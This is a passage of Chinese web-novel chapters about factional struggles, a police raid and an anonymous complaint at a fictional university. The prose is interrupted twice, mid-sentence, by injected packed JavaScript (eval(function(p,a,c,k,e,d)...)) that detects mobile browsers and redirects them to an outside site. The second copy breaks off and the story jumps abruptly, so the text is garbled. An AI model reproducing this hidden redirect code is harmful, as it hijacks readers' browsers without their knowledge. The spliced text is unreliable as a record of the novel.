在下午审看材料期间,一位关系密切的评委特意找到周濂意味深长地提醒:“老周,你们楚江大学这次申办工作近乎完美,但兄弟我有一个担心。” 周濂惊出一身冷汗,连忙询问详情。 评委顿了顿后说道:“上周我们去的那家高校,申办时请来了教育厅领导,组长似乎很看重这个呢,意思是官方支持很重要。” 周濂听罢心里暗暗责怪自己的百密一疏。送走评委后,赶紧将秦冰纶找来紧急商量。秦冰纶想了半天后说道:“事到如今,如果我们再找教育厅领导,显得有点东施效颦的意思。吴校长的副省长同学不是分管教育的吗?要不我们给评委们一个惊喜,晚上让副省长出面宴请专家组的骨干成员?” 秦冰纶的这个奇思妙想让周濂眼前一亮,想了片刻后忽然犹豫起来:“人家副省长整天日理万机的,会答应的吗?再说这事会不会让吴校长为难呢?” “吴校长对您一直都很支持。试试嘛,有枣子没枣子打一杆再说。” 周濂硬着头皮给吴若甫打去了电话。吴若甫退休以后心思非常敏感,觉得已经开始被人遗忘,正巴不得在职领导经常能够“叼扰”自己,更何况打来电话的是自己信任的周濂呢。放下电话,吴若甫绕开秘书,直接给老同学打去了电话,出乎意料得到了肯定的回复,还特意叮嘱了一句“小范围”。 省长愿意出面捧场,自然是天降馅饼的大喜事,自然对他的“重要指示”也得不折不扣地执行。放下电话后,吴若甫亲自给周濂圈定了参加晚上宴请的名单——校方吴若甫、周濂、秦冰纶,评委方组长、副组长。 周濂对吴若甫已经是感恩戴德,对他圈定的名单自然言听计从。为了表达自己的敬意,周濂主动提出让顾明远参加见见世面。吴若甫非常高兴,点头应允后提出让专家组的秘书也参加宴请没说是此人负责执笔申办结论的撰写作用不可小觑。周濂由衷地竖起大拇指向着老校长连说了两个“高”字。 申办工作组“双副组长”之一的莫笑非听说晚上的宴请有秦冰纶而无自己,心里大为光火和失落。他本就是一个爱出风头的人物。几个月来,莫笑非对只是偶尔让自己参加无关紧要的会议就很不满,现在如此重要的宴请竟然又将这个副组长排除在外。失落和生气之余,莫笑非觉得自己必须做点什么来显示显示存在感。 专家组中有两位与莫笑非私交不错的专家。在副省长主持的晚宴的相同时候,莫笑非让秘书江小北安排了一场私密宴请。江小北的老公肖志阳对老婆一直和莫笑非黏在一起本来就很反感。接完江小北晚上不回家的电话通报后,气愤不过,将莫笑非请客的消息透露给了正在“梅大师工作室”里研究棋谱的梅大镛。 梅大镛一听说莫笑非宴请的点上“海上仙山”,兴奋得将手中的棋子掷回罐中。“海上仙山”他是去过两回的。梅大镛的脑海立刻浮现出当时的盛景:霓虹灯像醉汉的眼红绿交错摇曳多姿,清一色的女大学生服务员像金丝雀般卖力地扑棱着翅膀,台下阴影中的看客们在烟雾缭绕中交换着心照不宣的眼神……。 梅大镛与莫笑非积怨已久、挥之难去。他觉得一箭双雕的机会来了:既能打击莫笑非的嚣张气焰,又能给历史学院的申办工作使绊子。 梅大镛将正在收拾东西准备下班的财经学院院长卓娅堵在了办公室。 听完梅大镛的计划,卓娅本能地摇起头来:“这也太过分了吧?怎么能因为莫笑非的苟且而坏了学校的声誉呢?” 梅大镛冷笑道:“要不说卓院长你还是不够敏感呢。楚江大学谁不知道,这个年会本来就是就是个劳民伤财的‘面子工程’,不办才是对学校真正有利的。你没看见许书记对这个申办明确的反对态度吗?” “再怎么说这也是学校的一项大事。这样做不好。”卓娅心里多少有些感念历史学院院长秦冰纶这几年对自己的好,依然态度坚决地摇头反对。 眼见夜幕落下时间不等人,梅大镛心里骂了句“妇人之仁”,干脆撇开卓娅,自己带着秘书肖志阳赶到了“海上仙山”。在车上,天生胆小的肖志阳有些放弃的打算,梅大镛疾言厉色渲染莫笑非寡廉鲜耻和自己的学生不清不白,以此来激怒肖志阳。这一招果然奏效。肖志阳人虽迂阔,但男人的尊严并不缺失,狠狠心一跺脚,催促师傅踩紧了油门。 的士刚在“海上仙山”停车坪停下,肖志阳从落地玻璃窗外正看见自己的老婆江小北和莫笑非他们坐在大厅的咖啡厅里聊天,江小北不是起身给众人服务,走到莫笑非身旁时,甚至亲昵地将手搭在莫笑非的肩头。好脾气的肖志阳气得恨不能冲进里面扇上莫笑非几个耳光。却被梅大镛一把拉住:“你急什么呀,好戏还在后头呢。” 梅大镛知道里面的套路。在摸清莫笑非的活动地点后,梅大镛气定神闲让肖志阳先带着自己到隔壁的火锅店里吃一顿自己喜欢的“公安牛杂”,说是两个小时后才是采取行动的最佳时间。 酒足饭饱后,正是行动的时间。当梅大镛得知莫笑非带着两个专家上了六楼的“足疗城”后,心中大喜。抽了两支烟后,催促肖志阳去附近的电话亭拨打“110”。 约摸十分钟后,蓝红相间的警灯在歌舞厅门口停止转动。车上下来三位警察,径直向“海上仙山”大厅里走去。 梅大镛抬腕看了看手表自言自语道:“这个点应该是有精彩现场的,希望老莫不要辜负哦。” 肖志阳的身子几乎缩成了一个问号,嘴上不停地催着梅大镛赶紧离开。梅大镛有些不放心,示意随行的学生助手去里面探看一番。不到一根烟的工夫,学生飞快地跑了出来,右手举过头顶得意地喊着“成了,成了”。走到跟前,当学生绘声绘色讲到房间里的莫笑非和一个小姐衣衫不整时,梅大镛站起身来得意地拍打着自己的屁股,喉结上下滚动了三回挤出一声变了调的“孩儿们,走,喝酒去”。 副省长主持的晚宴大获成功,组长甚至当面对副省长说出了“大有希望”这样带有结论性的话来。回到学校后,周濂兴致不减,邀请秦冰纶、顾明远他们一起去办公室品茶庆祝。 茶香刚刚散发,秦冰纶新买的手机铃声响了起来。当来人告诉自己警察身份的时候,秦冰纶以为遇到了诈骗,不耐烦地挂了。很快,电话再次打来,对方口吻变得严厉前来:“你是秦冰纶对吧?你们学校的莫笑非涉嫌□□,你尽快来派出所一趟。” 秦冰纶握着手机的手指骤然收紧,杏眼的眼尾突然炸开几道细纹,像是平静湖面被砸入一块巨石。当她想要进一步询问细节时,对方不耐烦地挂了电话。 秦冰纶三言两语向周濂报告了电话内容,周濂大惊失色:“坏了,坏了,这个成事不足败事有余的家伙。” 秦冰纶赶紧给沈菊英打去了电话,沈菊英在电话里尖叫起来:“江小北下班时给我说过老莫宴请两个专家的事情。” 沈菊英脸色“唰”地变得惨白,一时手足无措,将目光投向校长周濂。周濂急火攻心,背剪着双手在办公室里急速地来回踱步,除了嘴里反复念叨“得赶紧将人捞出来”,一时也想不出更好的对策来。在周濂看来,捞人不是为了解救莫笑非,而是表面事态扩大导致申办工作前功尽弃。如果真的那样,抓住把柄的许继武一定不会轻易放过,自己作为申办的主导者必然要承担无法推卸的责任。后果简直不堪设想。 堂堂的“学术大腕”竟然涉嫌□□,这让顾明远惊骇不已。这些年来,尽管对莫笑非的道德学问不再盲目膜拜,但莫笑非知名学者的光环并未完全黯淡。看见校长、院长此刻忧心如焚、六神无主的样子,顾明远脑海里闪出一个人来——关山派出所所长蔡勋。 从内心来讲,顾明远压根不想和这样江湖气十足的蔡勋再打交道。但是,现在学院甚至学校在关键时期遇到了难题,自己作为申办专班的成员,总不能袖手旁观、听之任之。 一股豪情在顾明远胸中油然而生。他并非为了功利或是讨好,而是一种本能的救急和仗义,他决定给蔡勋打去电话。 因为没有一点把握,顾明远不敢贸然向周、秦二人告知自己的打算。他悄悄找刚刚赶来的沈菊英借来手机,悄悄走到了走廊的尽头。 顾明远的电话对蔡勋来讲简直如同及时雨。因为拿到了成教本科文凭蔡勋顺风顺水当上了派出所所长,蔡勋的目光开始盯在了分局领导的位子。前几天,一向器重他的区分局局长来所里调研时,意味深长地提醒蔡勋如果能够弄到一张研究生文凭,到时他是愿意帮他助威的。这几天,蔡勋正位此事发愁。唯一可以依靠的就是顾明远。但是,蔡勋心中对顾明远不屑中多少有些忌惮,觉得顾明远书生意气,性格执拗、缺少变通。正在纠结,顾明远的电话竟然主动打了过来。 听完顾明远的讲述后,蔡勋在电话里忍不住笑出声来,说了句“这都不算个事儿”,告诉顾明远,说是莫笑非涉事辖区派出所的所长是自己的铁哥们。 顾明远松了一口气,以为绿灯已经亮起。当他急不可耐地提出帮忙的请求。蔡勋故意在电话里长吁短叹起来。在顾明远的再三追问下,他半遮半掩说出了自己想弄一张楚江大学也就是研究生文凭的想法。 这让顾明远再一次意识到,自己坚守的所谓文人风骨又一次要被赤裸裸轻易戳穿。 时间似乎并不允许顾明远作更多的思考,他只能答应蔡勋“试试看”。回到周濂的办公室,顾明远吞吞吐吐说出和蔡勋通话的内容。 秦冰纶不敢当着校长的面表态。周濂几乎想都没想就说道:“成教在职学生而已嘛,办,可以办。”转头盯着顾明远看了半天:“小顾还有这样的非常手段。好!很好!这样,小顾负责和这个姓蔡的联系,务必今晚将人放出来。” 为了防止夜长梦多,周濂让秦冰纶带着顾明远立即赶往涉事派出所。 在电话里和蔡勋已经达成了默契。派出所所长板着面孔将秦冰纶好好训斥了一通。因为有求于人,傲娇的秦冰纶也只能像小学生一样唯唯诺诺,不停地点头称是。沈菊英不想让秦冰纶难堪,将顾明远往前推了一推说道:“这是蔡所长的老师顾明远。”所长的气势一下子柔和了下来“蔡所长跟我提起过你。”说罢,向身后的一位警察挥了挥手。警察会意,带着两名辅警走进了旁边的讯问室。过了一会儿工夫,莫笑非和另外两名专家垂头丧气出现在秦冰纶面前。秦冰纶根本不拿正眼去看莫笑非,只将两位局促不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904228|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安的评审专家护送到等在外面的车子里。 周濂正在专家下榻的宾馆等候着专家。刚安顿好两个惊魂未定的专家,莫笑非自己坐着的士赶了过来。 莫笑非知道这次闯了大祸,一个劲地向周濂道歉。周濂端坐在沙发上故意板着脸不说话。等莫笑非道歉完后,周濂忽然有了计策,先是毫不客气训斥了一通,然后威胁道:“这事还没完。如果明天结果如愿,我这里倒是可以既往不咎。”其实,此刻周濂已经打定了主意:等申办结果出来后,趁这次机会将莫笑非戴了十年的“学术委员会主任”的帽子摘了,看最后能不能戴在秦冰纶的头上,为她进入班子增加砝码。 莫笑非自然听出了校长的弦外之音,哪敢说半个“不”字,诚惶诚恐表态一定尽自己全力确保这次申办成功。 周濂起身倒背着双手,径直向门外的车子走去。 没有不透风的墙。第二天一上班,梅大镛就将昨晚的事情添枝加叶向记许继武做了汇报,并直接提出了褫夺莫笑非“荆楚大先生工作室”牌号及校学术委员会主任职务,甚至提出暂缓申办年会的想法。 梅大镛如此鲜明的态度让许继武着实吃了一惊。尽管对校长周濂在申办工作中目中无人的做法深感不满。但年会申办成功对学校无疑是件大事,作为书记肯定不能轻易做出决断。但是,许继武不想放过这个敲打周濂的机会,他让办公室主任冯伟将周濂从申办现场请了过来。 当许继武罕见强硬提出“迅速处理莫笑非以儆效尤”的意见时,已有准备的周濂显得异常冷静,口吻不卑不亢:“申办年会是事关学校发展的大事,已经引起了上面的重视和支持。莫笑非的确十分过分,如果书记觉得马上处理,我也没有意见。我担心的是万一处理后老莫破罐子破摔最后影响到年会申办,许书记和我恐怕对上面不好交代啊。” 校长柔顺得体的表态反而让自以为居于主动的许继武有些乱了分寸。进和退,此刻对许继武来说都是一个问题。年会申办已经得到了省领导的亲自批示,如今几乎要冲刺到了终点,谁敢轻易叫停?但是,申办成功后功劳全都会记在周濂的头上,自己这个做书记的彷佛局外人一般,并不能从中得到任何收益。 这种既希望申办失败看周濂的笑话又担心失败后无法向上交代的矛盾心理让许继武陷入了两难境地。经过一番思想斗争,许继武最终不得不以大局为重,作出了“等申办结束后立即处置莫笑非”的决定。 许继武的决定虽然暗合周濂的心意。但是,他表情里流露出的对年会申办的不感冒还是深深刺痛了周濂,他内心已经有了反击的决心。 专家组给出的极高评价在楚江大学引起了良好的反响。在人们纷纷对周濂道喜祝贺的同时,许继武总是含笑的眼里闪过一丝阴郁和不快,好像这件大喜事只是周濂个人的成功,而自己什么也没得到。 他决定要给这件大喜事洇上一些墨迹。 专家组离校的第二天,许继武主持召开了一次临时班子会,具体议题是商量对莫笑非的处分事宜。令人意想不到的是,所有校领导罕见地不谋而合形成了默契:褫夺莫笑非校学术委员主任职务。在许继武会前授意下,江川、孟超他们甚至提出应该同步撤销莫笑非“荆楚大先生工作室”名号,汤中臣一句“这可是省里授予的呢”,言下之意学校还没有撤销的资格和权力。许继武只好临时作罢。 莫笑非怒气冲冲赶到周濂办公室准备大闹一场。周濂正色说道:“如果不是我出面为你说情,你的‘荆楚大先生工作室’还能保得住。”只这一句,莫笑非气昂昂的脸上顿时灰白起来,嘟哝了几句,只好灰溜溜地离开。 会后,围绕着“学术委员会主任”这一关键位子的空缺,各方角力的涟漪又扩散起来。 对校长职位依然抱有热情的江川觉得这是个给自己增加砝码的机会。他深知,校学术委员会主任一职虽无行政级别,却是学术体系的核心,影响力巨大,是积累学术资本、扩大话语权的绝佳位置,这对他日后角逐校长宝座是至关重要的砝码。会后他主动找到许继武,强烈地表达了自己有意出任“学术委员会主任”的意愿。 许继武本来就有意让江川挑起这个担子,借此拉拢江川好让自己在与周濂的博弈中占据更有利位置。毕竟这是件大事,在默许江川后,说是再和校长他们沟通沟通再说。 校长周濂对许继武和江川的意图洞若观火。他心中早就属意历史学院院长秦冰纶,更不可能让一直与自己貌不和神更离的江川出任这一要职。当许继武主动来到办公室和他商量这件事时,周濂并不表态,而是径直提出秦冰纶接任的建议来制衡许继武的意见,理由是“为确保公正最好不要由校领导兼任”。许继武也是早有准备,并不明确反对,只是浅笑着说道:“冰纶在院长里面业务确实没得说,只是她评上教授的时间不长,资历尚浅,未必能让那些委员们心服,如果那样,反而对她不利。” 两人就这样你来我往“神仙打架”了半天,最终也没有达成一致意见,只好同意“此事条件成熟后再议”。 校长助理孟超从这件事上似乎发现了“商机”。自从进入班子后,一直受到江川几乎不加掩饰的压制和排挤,孟超心中早已积怨已深。他知道江川对这个职位如饥似渴的原因上对校长大位的觊觎。心想如果将来他真的做了校长,自己只怕是永无宁日。尽管自己因为职称问题毫无竞争机会,孟超觉得权力阻止江川的上位是必须且紧迫的。为了组织成功,孟超想到了秦冰纶。在私下向周濂表明态度后,孟超主动向秦冰纶抛出了橄榄枝。真诚表达了对秦冰纶学术成就的钦佩之情后,孟超由衷地提出希望秦冰纶主动争取“学术委员会主任”这个职务。秦冰纶早有此意,没想到自己一直看不顺眼的孟超能够主动关心自己,一时心潮澎湃,放下多年的成见,主动预祝“孟校助”早日转成“孟校长”。 28. 风起梧桐 秋日的楚江大学校园,梧桐叶片片金黄,在夕阳下铺就一条璀璨之路。周濂走在回行政楼的路上,脚下落叶发出细碎的声响,像是无声的叹息。年会申办成功的喜悦早已被莫名的空虚取代。就在两天前,省领导来校调研时的一幕始终在他脑中挥之不去。许继武站在主席台上,面带谦和的微笑,将年会成功的功劳不着痕迹地揽在自己身上。那些恰到好处的停顿、意味深长的眼神,似乎都在无声地宣告着谁才是这所学校真正的主人。周濂记得自己当时脸上虽然保持着得体的微笑,心跳却突然加速,看见台下一众处长脸上错愕的表情,他的心中忽然生出一股恨意来。 窗外的梧桐叶沙沙作响。此刻,周濂站在办公室窗前,目光掠过校园里参天的古树。这些百年梧桐见证过太多风雨,如今也在注视着他与许继武之间这场无声的较量。他转身从书柜深处取出一张合影——上任第一天与许继武的合照。照片上的许继武笑容可掬,一只手亲切地拉着他的左手,俨然一位敦厚长者。如今再看,那笑容里藏着的分明是绵里藏针的算计。 "绵里藏针...",周濂喃喃自语,想起老校长吴若甫当年的评语,此刻才真正体会其中深意。一年多的共事中,似乎自己的每一项施政策略都会受到许继武的软性掣肘。学术委员会主任人选之争、年会筹备中的种种刁难、对自己提议的两名副处级干部的直接无视……,所有这些,都在一点点消耗周濂的耐心。 保险柜的密码锁发出清脆的转动声。周濂取出一份密封的文件袋,指尖抚过牛皮纸粗糙的表面。这里面收集了一年多来许继武干预基建招标、干部任命的疑点材料,既有图书馆工程招标时许继武暗示某建筑公司的记录,也有干部调整时他力推的几个明显资历不足的人选,还有几份经他批示却明显违反程序的文件复印件……。 夜色如墨,周濂推着自行车独自走出校门。秋风吹起他风衣的下摆,路灯将他的影子拉得很长。邮局门口的绿色邮筒在夜色中显得格外醒目,投信口的铁皮舌头在月光下泛着冷光。信封落入筒内的瞬间,他听见"咔嗒"一声脆响,像是命运齿轮开始转动的信号。 信封丢进邮筒的时间,周濂心尖莫名地颤动了一下。望着生锈的投递口,忽然想起信封角落那个无意间留下的指纹——像一枚小小的罪证,永远烙印在这个夜晚。一阵冷风吹过,他不由自主地打了个寒颤,突然意识到这个举动可能带来的后果:举报自己的搭档,万一…… 回校的路上,梧桐叶在风中打着旋儿,仿佛都在对自己这个堂堂的博士生导师、校长在窃窃私语。周濂心里的不安忽然加剧起来,飞快地踩着自行车的踏板。自行车刚一停稳,他下意识来到了老校长吴若甫的家门口。 吴若甫的书房还亮着灯。开门的是吴若甫老伴万素琴。新校长此时来访,让吴若甫意识到不太寻常,便说了声“到书房说话吧”,转身让老伴取泡一壶普洱来。 氤氲的茶香中,周濂先是兜着圈子夸赞顾明远在年会申办中的表现,尤其对顾明远挺身而出化解莫笑非事件以及对接林城外时的精彩表现更是赞不绝口,言语间满是赏识。 吴若甫捻着茶杯,眼角的皱纹舒展开来,但那双历经风霜的眼睛却锐利地落在周濂略显不安的脸上。书房里氤氲的茶香似乎也无法驱散空气中一丝紧绷的气氛。他与周濂之间有一个心照不宣的约定:若非情势紧急或事关重大,尽量避免深夜亲自登门拜访,以免落人口实,也避免不必要的猜忌。此刻周濂的突然造访,绝不仅仅是为了夸奖他那平日里并不起眼的女婿顾明远那么简单。 吴若甫没有打断周濂,只是静静听着,不时微微颔首,但目光始终没有离开周濂。他注意到周濂语速比平时稍快,手指无意识地摩挲着茶杯边缘,眼神也有些飘忽,几次瞥向窗外沉沉的夜色,仿佛在确认什么,又像是在躲避什么。 “周校长,”吴若甫开口了,目光如温和却精准的探针:“周校长,你这大晚上特意过来,应该不只是为了跟我这个退休的老头子夸小顾的吧?咱们之间,就不必绕那么大的弯子了。是不是遇到什么难处了?我看你……心神不宁的。” 周濂脸上的肌肉似乎僵硬了一下,他下意识地端起茶杯喝了一口,试图掩饰瞬间的慌乱,却差点被已然微凉的茶汤呛到。他放下茶杯,干咳了两声,勉强笑道:“老校长,确实是……确实是有些事情心里不痛快,想来跟您聊聊,听听您的看法。” “哦?只是不痛快?”吴若甫身体微微前倾,昏黄的台灯灯光在他脸上投下深深的阴影,使得他的表情显得有些深邃难测,“是不是和书记有关?” 老校长的精准让周濂的心猛地一沉,仿佛被吴若甫的目光看穿了心底最隐秘的角落。他感到脸颊有些发烫,一种混合着羞愧、后悔和焦虑的情绪涌了上来。他低下头,盯着杯中沉浮的茶叶,沉默了足足有十几秒,像是下定了决心,又像是被抽走了力气,肩膀微微塌了下去,声音变得异常干涩,几乎是从喉咙里挤出来的:“老校长……我……我可能……做了一件糊涂事……。” “嗯?”吴若甫的眉头微微蹙起,没有催促,只是用眼神鼓励他说下去。 “我……”,周濂的声音压得更低,似乎还带着一丝不易察觉的颤抖,“我……我寄了一封信……匿名信……” “寄给哪里?”吴若甫的心头掠过一丝不祥的预感,声音依旧平稳,但眼神已然变得无比严肃。 “……省纪委……还有……教育厅纪检组……”,周濂的声音细若蚊蚋,说完这句话,他仿佛用尽了力气,不敢抬头看吴若甫的反应。 吴若甫握着茶杯的手顿在了半空。尽管对周濂行政手法的欠缺有所预料,但亲耳听到这个答案,还是让他的心头猛地一揪。他缓缓放下茶杯,身体靠向椅背,深吸了一口气,似乎在消化这个突如其来的消息。 “内容呢?”半晌,吴若甫才沉声问道,每一个字都显得格外沉重。 “主要是一些……关于他干预基建招标、还有在干部任命上……可能存在的疑点……。” “匿名信……”,吴若甫重复了一遍这三个字,语气里听不出喜怒,却让周濂感到一阵无地自容的窘迫。 “老许确实有他的不足,但作为搭档,这样做有些犯忌呢。这万一要是传出去了,你想过后果?” 周濂的脸一阵红一阵白,额头沁出了细密的汗珠。在老校长严厉的目光下,他感觉自己像个犯了错被当场抓住的小学生,那点因愤怒而生的勇气早已消失殆尽,只剩下满满的懊悔和后怕:“是啊。这一年多实在有些憋屈,我……我也就是一口气咽不下去……。其实信刚投进邮筒我就后悔了!可是……可是已经来不及了……。” 看着周濂六神无主的样子,吴若甫又是气恼又是无奈。他抿了一口茶后轻声问道:"你打算怎么办?" 周濂依然试图为自己开脱:"我没有您的涵养和修为。不过,许继武实在有些过分,表面上清静无为,暗地里谋取私利,关键是影响发展啊。" 吴若甫清楚这场争斗可能带来的后果。但人家现在毕竟是校长,自己再也不能像在职时居高临下来教训他。想到这里,吴若甫叹了口气后故作轻松地说道:"周校长,打开潘多拉盒子容易,想要收回就难了。"他摩挲着紫砂茶杯,语重心长地说道:"将相和才是学校之福啊。" 周濂心底冷笑:谁是将?谁是相?难道要他这位声名显赫的博导屈居在只有本科学历的许继武之下?想到这里,周濂不由自主将杯盖重重扣在杯子上。 这个不经意的动作让吴若甫意识到周濂已经不是当年的那个副校长了。他沉吟片刻,书房里静得似乎能听见茶叶叶片舒展的声音。再开口时,语气多了几分与平等商议的沉稳与深刻:“事已至此,后悔药是没得买了。那封信,是悬在头顶的剑,但握剑的手,未必就一定是敌人。现在最关键的不是那封信,而是你下一步怎么走。” 吴若甫压低了声音,每一个字都透着老练的政治智慧:“要想破这个局,你得回到明处,而且是要站在道德的制高点上,化被动为主动。” “您的意思是?”周濂的注意力被完全吸引。 “忘掉过去那些磕绊,至少表面上要彻底忘掉。”吴若甫语气坚定:“你现在要做的,不是和老许较劲,而是要去‘化解心结’。” 周濂眼中闪过一丝不解和抗拒。 “我建议你呀,明天一早就去找老许,主动提出对历史学院和莫笑非的后续处理的意见,这看起来是向老许服软,实际上提升了自己的站位。” 周濂若有所悟。 “然后,”吴若甫眼中闪过一丝精光:“你甚至可以向许继武建议,学院层面对莫笑非的问题应该进行严肃处理,以此表明学校整顿师风师德、维护学术声誉的决心。你要把‘坏事’变成展现大局观的‘机会’。这叫化被动为主动嘛。” 周濂彻底明白了老校长的以退为进招数的深意。他的眼中重现出光彩来:“我知道该怎么做了。” 第二天一早,周濂主动走进了许继武的办公室。据冯伟事后向吴若甫透露,两位主要领导谈得很久,气氛似乎非常融洽。 当天下午,周濂便将秦冰纶召到了办公室。 然而,当周濂将“学校要求历史学院进行深刻反思,并从严继续处理莫笑非问题”的意见告知秦冰纶时,这位美女院长瞬间炸了锅:“什么?我们反思?”秦冰纶杏眼圆睁,几乎是从沙发上弹了起来,“莫笑非捅的娄子,凭什么让我们历史学院深刻反思?难道辛辛苦苦为学校成功申办年会还成了罪过了?再说,是他莫笑非捅的窟窿,凭什么要我们给他擦屁股?合着好事都是别人的,脏活累活全是我们的?”她胸脯剧烈起伏,声音里充满了委屈和愤懑:“周校,这活儿我没法干了!学院里老师们本来就有意见,再这么搞,我这院长成什么了?以后谁还听我的?” 等于秦冰纶的剧烈反应,周濂早有预料,听着秦冰纶发泄完,他用不容置疑的口吻说道:“冰纶,发泄情绪解决不了问题。这不是商量,这是学校的决定。许书记那边也点了头。莫笑非的问题已经开始发酵,历史学院作为他的直接单位,必须拿出态度来!” 看到秦冰纶满脸不服的样子,周濂抛出了准备好的诱饵:“我知道,你对没有当上学术委员会主任有些想法。还是那句话,风物长宜放眼量嘛。我现在挂名就是不想让这个职位落在别人手里嘛。迟早都要戴在你的头上哩。所以,对学校的决定,你更不能顶着啦。” 周濂的话精准地击中了秦冰纶的命门。眼中的怒火渐渐被一种复杂的、带有野心的光芒所取代。沉默了几秒钟,最终下定了决心,表态尽快拿出一个意见来给学校一个严肃的交代。 其实秦冰纶本就没有要保莫笑非的意思,她之所以满腹牢骚,说到底还是因为学术委员会主任失手带来的。现在校长已经有了明确的态度,自己何必去为那个恃才傲物的莫笑非撑腰张目呢? 回到历史学院,秦冰纶连夜召开班子会议,以“贯彻落实学校指示精神,深刻反思整顿师风师德”为由,研究对莫笑非的处理事宜。孙启亮虽然和莫笑非是要好的“牌友”,但在秦冰纶的疾言厉色、“师德师风”的敏感问题以及自己即将面临职称申报的关键时期,也只好忍痛割爱,在处理意见上投了赞成票。最后班子一致通过决议:取消学院对“荆楚大先生工作室”的一切经费支持和学术秘书配置,并责令莫笑非就在“海上仙山”事件中所犯错误向学院提交书面深刻检讨。 这份措辞严厉的处理决定送达莫笑非的办公室时,他的脸色一片颓唐灰败。把柄被人死死捏住,利剑悬在头顶,他只能选择忍气吞声,打落牙齿和血吞。 城门失火殃及池鱼。随着莫笑非的被处分,他的学术秘书江小北真切感受到了职业的寒冬:不仅大腕学术秘书的光环没了,关键是今后来自莫笑非的庇护也会随风远逝。回想起自己在楚江大学历史学院五年来,其实自己过得并不如意。依附莫笑非让江小北确实付出了很大的代价:在学院里遭人嘲笑排挤,在家里和老公肖志阳陷入周期性的冷战……。 有些进退失据的江小北想起了申办年会时有意结识的社科院院长。因为表现突出,院长对江小北印象极好,甚至主动给她留了手机和办公室的电话。 莫笑非对江小北学术秘书的被免心存愧疚,决定倾力帮她一把。他亲自给院长打去了电话,意思是请院长动用人脉将江小北调到省厅工作。 莫笑非的面子加上江小北的付出,竟然打动了院长。在他的亲自关心下,一个月后,江小北的商调函送达道楚江大学人事处。 江小北已经提前拿到了商调函的复印件。站在教研室窗前,阳光透过老式铁窗棂在她新买的达芙妮高跟鞋上切出菱形的光斑。在收拾办公桌时,她随手将这些年手写的教案轻飘飘扔进废纸篓——这些曾经的心血,如今看来可笑又可怜。 她要做的第一件事就是向秦冰纶辞职。 走进院长办公室时,秦冰纶头也不抬,有些冷淡地问道:"什么事?"语气里的不耐烦显而易见。 这些年来,在魅力四射的院长面前,江小北总有一种莫名的自卑和畏惧。现在似乎不同了,她将辞职报告放在秦冰纶面前,甚至省去了管用的尊称:“我来辞职。” 秦冰纶依然懒得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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钟德君抿了一口茶,语气里是掩饰不住的酸葡萄心理:“这小娘们是因祸得福啊。省厅啊,那可是真正的仕途,管着经费、项目、政策的出口,全都是实权啊。唉,我们这些学校的处长科长,和他们比啥都不是。”他用筷子虚点着桌面:“等着吧,别看这些年大家不拿正眼看她,以后见面,怕是得我们求着她高抬贵手了。啧,人比人,气死人。” 顾明远神情倒要平静得多,他对钟德君口中的“仕途”“实权”并不感冒:“我倒不羡慕她去什么地方。其实吧,每一个职业都不会十全十美。那种每天应酬、公文、协调,也未必适合每个人。”他顿了顿,轻轻叹了口气说道:“不过,江小北选择离开这件事,让我想的是另一层。为什么大家不安心在学校做老师,这至少说明大家没有得到足够的安全感和发展空间……。” 顾明远正要继续延伸,忽然发现林书锦嘴角勾起一丝古怪的笑意,立刻将后面的话咽回肚里。林书锦给大家斟上酒,又慢悠悠地夹了一筷子菜,说起话来显得漫不经心:“人往高处走,水往低处流,正常得很。不过啊,这去了省厅,风光是风光,就是一点——那地方人多眼杂,规矩也多。”他顿了顿,抬头扫了两位同伴一眼,带着点幸灾乐祸的意味说道:“你们说,要是省厅那边有人知道小江和老莫的事情,那她会不会收到影响?毕竟衙门是最讲究‘形象’和‘规矩’了,对吧?” 他的话像一阵冷风掠过,钟德君和顾明远都愣了一下。钟德君将目光转向顾明远,彷佛在问:这小子不会背后给江小北使什么绊子的吧? 短暂的沉默过后,钟德君转弯快,从桌子上取来另一瓶未开封的“茅台”:“林主任家里‘茅台’多得象水一样,今天我们将这两瓶全部干完拉倒。” 酒是减缓尴尬笑出沉默最好的“良药”。很快,三人将江小北抛在一边,在热闹中挥发着自己的酒意。 回去的路上,钟德君有意将顾明远拉了下来。等林书锦走远后,神秘而又得意透露“学校正在规划教工宿舍楼”的消息,彷佛是为了证明消息的可靠,还特意叮嘱“这事目前还只限在少数几个人知道”。 钟德君的话让顾明远的酒意醒了大半——自己在筒子楼已经蛰伏了五年,女儿顾安然刚刚出生,有一套自己的住房如今已经成了顾明远人生的梦想和追求。尤其想到因为筒子楼宿舍过于简陋导致吴雅娟不得不寄居娘家坐月子的窘境,顾明远恨不得教工宿舍明天就能从图纸变为现实。 夜色已深,窗外偶尔传来几声虫鸣。吴雅娟靠在床头,轻轻拍着刚刚入睡的女儿,顾明远坐在床沿,压低声音将钟德君透露的消息娓娓道来。 吴雅娟的眼睛瞬间亮起后又有些黯淡:“钟德君天上一句地上一句的。他的话靠谱吗?” 顾明远点点头:“他现在是基建处处长助理,跟孟超走得又近,应该不会是瞎吹的。” 吴雅娟的眼睛重新又亮堂起来:“如果我们到时候哪怕能分到一套60平方的房子,我也满足了。现在筒子楼宿舍连个厕所和厨房也没有,哪像个家呀。” 受了吴雅娟的鼓舞,顾明远抽出纸笔,煞有介事地画起了新房到手后各种家具的摆设。正在得意,吴雅娟忽然泼了一瓢冷水:“我们是不是有些多情啊?这房子最少也得三年后的事了吧?” 顾明远拿笔的手停在了半空,喃喃自语道:“是的啊,确实有点猴急了。”说罢,二人相视而笑,那笑容中竟然有了些久违的甜蜜。 